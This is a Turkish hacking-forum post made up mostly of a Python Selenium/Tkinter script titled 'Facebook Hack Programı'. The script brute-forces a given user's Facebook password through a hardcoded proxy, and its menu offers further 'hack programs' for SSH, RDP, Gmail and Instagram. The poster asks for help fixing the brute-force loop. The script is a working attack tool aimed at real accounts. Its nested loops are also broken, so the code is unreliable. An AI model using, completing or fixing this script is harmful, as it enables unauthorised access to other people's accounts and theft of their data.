Python facebook bruteforce attack scripti

cCcOSMANLIcCc

Yeni üye
7 Eyl 2019
3
0
Kod:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from io import open
import sys
reload(sys)
sys.setdefaultencoding('utf-8')

#porttarama için gerekli kütüphane
import socket

#Pencere oluşturmak için gerekli kütüphane
from tkinter import *
from tkMessageBox import *

#Selenium araçları ve kütüphaneleri
import requests
import sys
from os import system
import datetime
import selenium
import requests
import time as t
import time
from sys import stdout
from selenium import webdriver
from optparse import OptionParser
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException
from selenium.webdriver.firefox.firefox_profile import FirefoxProfile
from selenium.webdriver.common.proxy import Proxy, ProxyType

#Ftp Server İçin Araçlar Ve Kütüphaneler
import argparse
from ftplib import FTP

#wordlist için araç ve kütüphaneler
import sh

#Renkler
class color:
   PURPLE = '\033[95m'
   CYAN = '\033[96m'
   DARKCYAN = '\033[36m'
   BLUE = '\033[94m'
   GREEN = '\033[92m'
   YELLOW = '\033[93m'
   RED = '\033[91m'
   BOLD = '\033[1m'
   UNDERLINE = '\033[4m'
   END = '\033[0m'
   CWHITE  = '\33[37m'

banner = color.RED +'''
 /$$$$$$$   /$$$$$$  /$$$$$$$  /$$$$$$$   /$$$$$$  /$$   /$$
| $$__  $$ /$$__  $$| $$__  $$| $$__  $$ /$$__  $$| $$$ | $$
| $$  \ $$| $$  \ $$| $$  \ $$| $$  \ $$| $$  \ $$| $$$$| $$
| $$$$$$$ | $$$$$$$$| $$$$$$$/| $$$$$$$/| $$  | $$| $$ $$ $$
| $$__  $$| $$__  $$| $$__  $$| $$__  $$| $$  | $$| $$  $$$$
| $$  \ $$| $$  | $$| $$  \ $$| $$  \ $$| $$  | $$| $$\  $$$
| $$$$$$$/| $$  | $$| $$  | $$| $$  | $$|  $$$$$$/| $$ \  $$
|_______/ |__/  |__/|__/  |__/|__/  |__/ \______/ |__/  \__
'''   
                                                                               
def brutes8haneli(proxy,website,usernames,usernames_sellectors,passwords_sellectors,btn_sellectors):
    harfler         = ["a", "b", "c", "ç", "d", "e", "f", "g", "ğ", "h", 
    "ı", "i", "j", "k", "l", "m", "n", "o", "ö", "p", 
    "r", "s", "ş", "t", "u", "ü", "v", "y", "z", "q", 
    "w", "x", "A", "B", "C", "Ç", "D", "E", "F", "G", 
    "Ğ", "H", "I", "İ", "J", "K", "L", "M", "N", "O", 
    "Ö", "P", "R", "S", "Ş", "T", "U", "Ü", "V", "Y", 
    "Z", "Q", "W", "X"]
    sayilar         = ["1","2","3","4","5","6","7","8",""]
    ## Aşağıdaki alanda ben her karakterden 3 er kez kullanılmasını istediğim için dizileri tekrar tekrar ekledim.
    elemanlar       = sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler;
    birhaneli       = [];
    ikihaneli       = [];
    uchaneli        = [];
    dorthaneli      = [];
    beshaneli       = [];
    altihaneli      = [];
    yedihaneli      = [];
    sekizhaneli     = [];
    firefox_capabilities = webdriver.DesiredCapabilities.FIREFOX
    firefox_capabilities['marionette'] = True
    firefox_capabilities['proxy'] = {
    "proxyType": "MANUAL",
    "httpProxy": proxy,
    "ftpProxy": proxy,
    "sslProxy": proxy
    }
    CHROME_DVR_DIR2 = '/root/Masaüstü/python/geckodriver'
    browser = webdriver.Firefox(executable_path=CHROME_DVR_DIR2,capabilities=firefox_capabilities)                        
    browser.get(website)
    for hane1 in range(len(elemanlar)):
        birhaneli.append(elemanlar[hane1]);
        for hane2 in range(len(elemanlar)):
            ikihaneli.append(elemanlar[hane1]+elemanlar[hane2]);
            for hane3 in range(len(elemanlar)):
                uchaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]);
                for hane4 in range(len(elemanlar)):
                    dorthaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]);
                    for hane5 in range(len(elemanlar)):
                        beshaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]);
                        for hane6 in range(len(elemanlar)):
                            altihaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]);
                            for hane7 in range(len(elemanlar)):
                                yedihaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]);
                                for hane8 in range(len(elemanlar)):
                                    sekizhaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]+elemanlar[hane8]);
                                    for i in range(len(sekizhaneli)):
                                        print (banner)
                                        print 'Username Selector : %s ' % usernames_sellectors
                                        print 'Password Selector : %s ' % passwords_sellectors
                                        print 'Button Selector : %s ' % btn_sellectors
                                        print 'Username : %s ' % usernames
                                        print 'Password : ' + (sekizhaneli[i])
                                        Sel_user = browser.find_element_by_css_selector(usernames_sellectors) #Finds Selector
                                        Sel_pas = browser.find_element_by_css_selector(passwords_sellectors) #Finds Selector
                                        browser.find_element_by_css_selector(passwords_sellectors).clear()
                                        browser.find_element_by_css_selector(usernames_sellectors).clear()
                                        Sel_user.send_keys(usernames)
                                        Sel_pas.send_keys(sekizhaneli[i])
                                        enter = browser.find_element_by_css_selector(btn_sellectors) #Finds Selector
                                        enter.click()

def brutes9haneli(proxy,website,usernames,usernames_sellectors,passwords_sellectors,btn_sellectors):
    harfler         = ["a", "b", "c", "ç", "d", "e", "f", "g", "ğ", "h", 
    "ı", "i", "j", "k", "l", "m", "n", "o", "ö", "p", 
    "r", "s", "ş", "t", "u", "ü", "v", "y", "z", "q", 
    "w", "x", "A", "B", "C", "Ç", "D", "E", "F", "G", 
    "Ğ", "H", "I", "İ", "J", "K", "L", "M", "N", "O", 
    "Ö", "P", "R", "S", "Ş", "T", "U", "Ü", "V", "Y", 
    "Z", "Q", "W", "X"]
    sayilar         = ["1","2","3","4","5","6","7","8",""]
    ## Aşağıdaki alanda ben her karakterden 3 er kez kullanılmasını istediğim için dizileri tekrar tekrar ekledim.
    elemanlar       = sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler;
    birhaneli       = [];
    ikihaneli       = [];
    uchaneli        = [];
    dorthaneli      = [];
    beshaneli       = [];
    altihaneli      = [];
    yedihaneli      = [];
    sekizhaneli     = [];
    dokuzhaneli     = [];
    firefox_capabilities = webdriver.DesiredCapabilities.FIREFOX
    firefox_capabilities['marionette'] = True
    firefox_capabilities['proxy'] = {
    "proxyType": "MANUAL",
    "httpProxy": proxy,
    "ftpProxy": proxy,
    "sslProxy": proxy
    }
    CHROME_DVR_DIR2 = '/root/Masaüstü/python/geckodriver'
    browser = webdriver.Firefox(executable_path=CHROME_DVR_DIR2,capabilities=firefox_capabilities)                        
    browser.get(website)
    for hane1 in range(len(elemanlar)):
        birhaneli.append(elemanlar[hane1]);
        for hane2 in range(len(elemanlar)):
            ikihaneli.append(elemanlar[hane1]+elemanlar[hane2]);
            for hane3 in range(len(elemanlar)):
                uchaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]);
                for hane4 in range(len(elemanlar)):
                    dorthaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]);
                    for hane5 in range(len(elemanlar)):
                        beshaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]);
                        for hane6 in range(len(elemanlar)):
                            altihaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]);
                            for hane7 in range(len(elemanlar)):
                                yedihaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]);
                                for hane8 in range(len(elemanlar)):
                                    sekizhaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]+elemanlar[hane8]);
                                    for hane9 in range(len(elemanlar)):
                                        dokuzhaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]+elemanlar[hane8]+elemanlar[hane9]);
                                        for i in range(len(dokuzhaneli)):
                                            print (banner)
                                            print 'Username Selector : %s ' % usernames_sellectors
                                            print 'Password Selector : %s ' % passwords_sellectors
                                            print 'Button Selector : %s ' % btn_sellectors
                                            print 'Username : %s ' % usernames
                                            print 'Password : ' + (dokuzhaneli[i])
                                            Sel_user = browser.find_element_by_css_selector(usernames_sellectors) #Finds Selector
                                            Sel_pas = browser.find_element_by_css_selector(passwords_sellectors) #Finds Selector
                                            browser.find_element_by_css_selector(passwords_sellectors).clear()
                                            browser.find_element_by_css_selector(usernames_sellectors).clear()
                                            Sel_user.send_keys(usernames)
                                            Sel_pas.send_keys(dokuzhaneli[i])
                                            enter = browser.find_element_by_css_selector(btn_sellectors) #Finds Selector
                                            enter.click()

def brutes10haneli(proxy,website,usernames,usernames_sellectors,passwords_sellectors,btn_sellectors):
    harfler         = ["a", "b", "c", "ç", "d", "e", "f", "g", "ğ", "h", 
    "ı", "i", "j", "k", "l", "m", "n", "o", "ö", "p", 
    "r", "s", "ş", "t", "u", "ü", "v", "y", "z", "q", 
    "w", "x", "A", "B", "C", "Ç", "D", "E", "F", "G", 
    "Ğ", "H", "I", "İ", "J", "K", "L", "M", "N", "O", 
    "Ö", "P", "R", "S", "Ş", "T", "U", "Ü", "V", "Y", 
    "Z", "Q", "W", "X"]
    sayilar         = ["1","2","3","4","5","6","7","8","9","0"]
    ## Aşağıdaki alanda ben her karakterden 3 er kez kullanılmasını istediğim için dizileri tekrar tekrar ekledim.
    elemanlar       = sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler + sayilar + harfler;
    birhaneli       = [];
    ikihaneli       = [];
    uchaneli        = [];
    dorthaneli      = [];
    beshaneli       = [];
    altihaneli      = [];
    yedihaneli      = [];
    sekizhaneli     = [];
    dokuzhaneli     = [];
    onhaneli     = [];
    firefox_capabilities = webdriver.DesiredCapabilities.FIREFOX
    firefox_capabilities['marionette'] = True
    firefox_capabilities['proxy'] = {
    "proxyType": "MANUAL",
    "httpProxy": proxy,
    "ftpProxy": proxy,
    "sslProxy": proxy
    }
    CHROME_DVR_DIR2 = '/root/Masaüstü/python/geckodriver'
    browser = webdriver.Firefox(executable_path=CHROME_DVR_DIR2,capabilities=firefox_capabilities)                        
    browser.get(website)
    for hane1 in range(len(elemanlar)):
        birhaneli.append(elemanlar[hane1]);
        for hane2 in range(len(elemanlar)):
            ikihaneli.append(elemanlar[hane1]+elemanlar[hane2]);
            for hane3 in range(len(elemanlar)):
                uchaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]);
                for hane4 in range(len(elemanlar)):
                    dorthaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]);
                    for hane5 in range(len(elemanlar)):
                        beshaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]);
                        for hane6 in range(len(elemanlar)):
                            altihaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]);
                            for hane7 in range(len(elemanlar)):
                                yedihaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]);
                                for hane8 in range(len(elemanlar)):
                                    sekizhaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]+elemanlar[hane8]);
                                    for hane9 in range(len(elemanlar)):
                                        dokuzhaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]+elemanlar[hane8]+elemanlar[hane9]);
                                        for hane10 in range(len(elemanlar)):
                                            onhaneli.append(elemanlar[hane1]+elemanlar[hane2]+elemanlar[hane3]+elemanlar[hane4]+elemanlar[hane5]+elemanlar[hane6]+elemanlar[hane7]+elemanlar[hane8]+elemanlar[hane9]+elemanlar[hane10]);
                                            for i in range(len(onhaneli)):
                                                parola = '' + (onhaneli[i])
                                                print (banner)
                                                print 'Username Selector : %s ' % usernames_sellectors
                                                print 'Password Selector : %s ' % passwords_sellectors
                                                print 'Button Selector : %s ' % btn_sellectors
                                                print 'Username : %s ' % usernames
                                                print 'Password : %s ' % parola
                                                Sel_user = browser.find_element_by_css_selector(usernames_sellectors) #Finds Selector
                                                Sel_pas = browser.find_element_by_css_selector(passwords_sellectors) #Finds Selector
                                                browser.find_element_by_css_selector(passwords_sellectors).clear()
                                                browser.find_element_by_css_selector(usernames_sellectors).clear()
                                                Sel_user.send_keys(usernames)
                                                Sel_pas.send_keys(parola )
                                                enter = browser.find_element_by_css_selector(btn_sellectors) #Finds Selector
                                                enter.click()                    
                        
class hackcodes():
    def facebookhackcodes(self,):
        website = 'https://www.facebook.com/login/'
        usernames = XUsername.get()
        usernames_sellectors = '#email'
        passwords_sellectors = '#pass'
        btn_sellectors = '#loginbutton'
        proxy = "185.185.113.51:8080"
        hane = "" + XHane.get()
        if hane == '8':
            brutes8haneli(proxy,website,usernames,usernames_sellectors,passwords_sellectors,btn_sellectors)
        if hane == '9':
            brutes9haneli(proxy,website,usernames,usernames_sellectors,passwords_sellectors,btn_sellectors)
        if hane == '10':
            brutes10haneli(proxy,website,usernames,usernames_sellectors,passwords_sellectors,btn_sellectors)
                            
class hack():

    def facebookhackprogrami(self,):
        PenFacebookHack = Toplevel(ana)
        PenFacebookHack.transient(ana)
        PenFacebookHack.focus()
        PenFacebookHack.title(u"Facebook Hack Programı")
        PenFacebookHack.resizable(width=FALSE, height=FALSE)
        pgen = 1000
        pyuks = 650
        ekrangen = PenFacebookHack.winfo_screenwidth()
        ekranyuks = PenFacebookHack.winfo_screenheight()
        x = (ekrangen - pgen) / 2
        y = (ekranyuks - pyuks) / 2
        PenFacebookHack.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))
        #-GMAİL VEYA USERNAME ADRES
        global XUsername
        XUsername = StringVar()
        Label(PenFacebookHack, text=u"Email Adres Veya Username Giriniz : ").grid(row=1, sticky=W)
        Username=Entry(PenFacebookHack,textvariable=XUsername).grid(row=1, column=1)
        #-Wordlist Hane
        global XHane
        XHane = StringVar()
        Label(PenFacebookHack, text=u"Kaç Haneli Wordlist Olsun : ").grid(row=1 , column=2 , sticky=W)
        Hane=Entry(PenFacebookHack,textvariable=XHane).grid(row=1, column=3)
        #BUTTON
        BtKaydet=Button(PenFacebookHack, text=u"Saldırıyı Başlat", command= lambda : hackers2.facebookhackcodes()).grid(row=2, column=1, sticky=NSEW, pady=3)
        BtKaydet=Button(PenFacebookHack, text=u"Saldırıyı İptal Et", command=ana.quit).grid(row=2, column=2, sticky=NSEW, pady=3)


hackers=hack()
hackers2=hackcodes()
ana = Tk()

baslik = ana.title("Beyaz Şapkalı Hacker Programı")

pgen = 1000
pyuks = 650
ekrangen = ana.winfo_screenwidth()
ekranyuks = ana.winfo_screenheight()
x = (ekrangen - pgen) / 2
y = (ekranyuks - pyuks) / 2
ana.geometry("%dx%d+%d+%d"%(pgen, pyuks, x, y))

menubar=Menu(ana)
dosya=Menu(menubar)
menubar.add_cascade(label="Hack Programları",menu=dosya)
dosya.add_command(label="Port Tarama Programı",command= lambda : ptp.porttaramaprogrami())
dosya.add_command(label="FTP Hack Programı",command= lambda : bf.ftphackprogrami())
dosya.add_command(label="SSH Hack Programı")
dosya.add_command(label="TELNET Hack Programı")
dosya.add_command(label="SAMBA Hack Programı")
dosya.add_command(label="RDP Hack Programı")
dosya.add_command(label="VNC Hack Programı")
dosya.add_command(label="Wifi Hack Programı")
dosya.add_command(label="Facebook Hack Programı",command= lambda : hackers.facebookhackprogrami())
dosya.add_command(label="Tiwitter Hack Programı",command= lambda : hackers.tiwitterhackprogrami())
dosya.add_command(label="Gmail Hack Programı",command= lambda : hackers.gmailhackprogrami())
dosya.add_command(label="İnstagram Hack Programı",command= lambda : hackers.instagramhackprogrami())
dosya.add_command(label="Çıkış",command=ana.quit)

ana.config(menu=menubar)
ana.mainloop()
Kendimce bir facebook bruteforce attack programı yaptım lakin brute force bölümünde sorun var bana yardımcı olmanızı rica ediyor ve şimdiden teşekkürlerimi sunuyorum
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.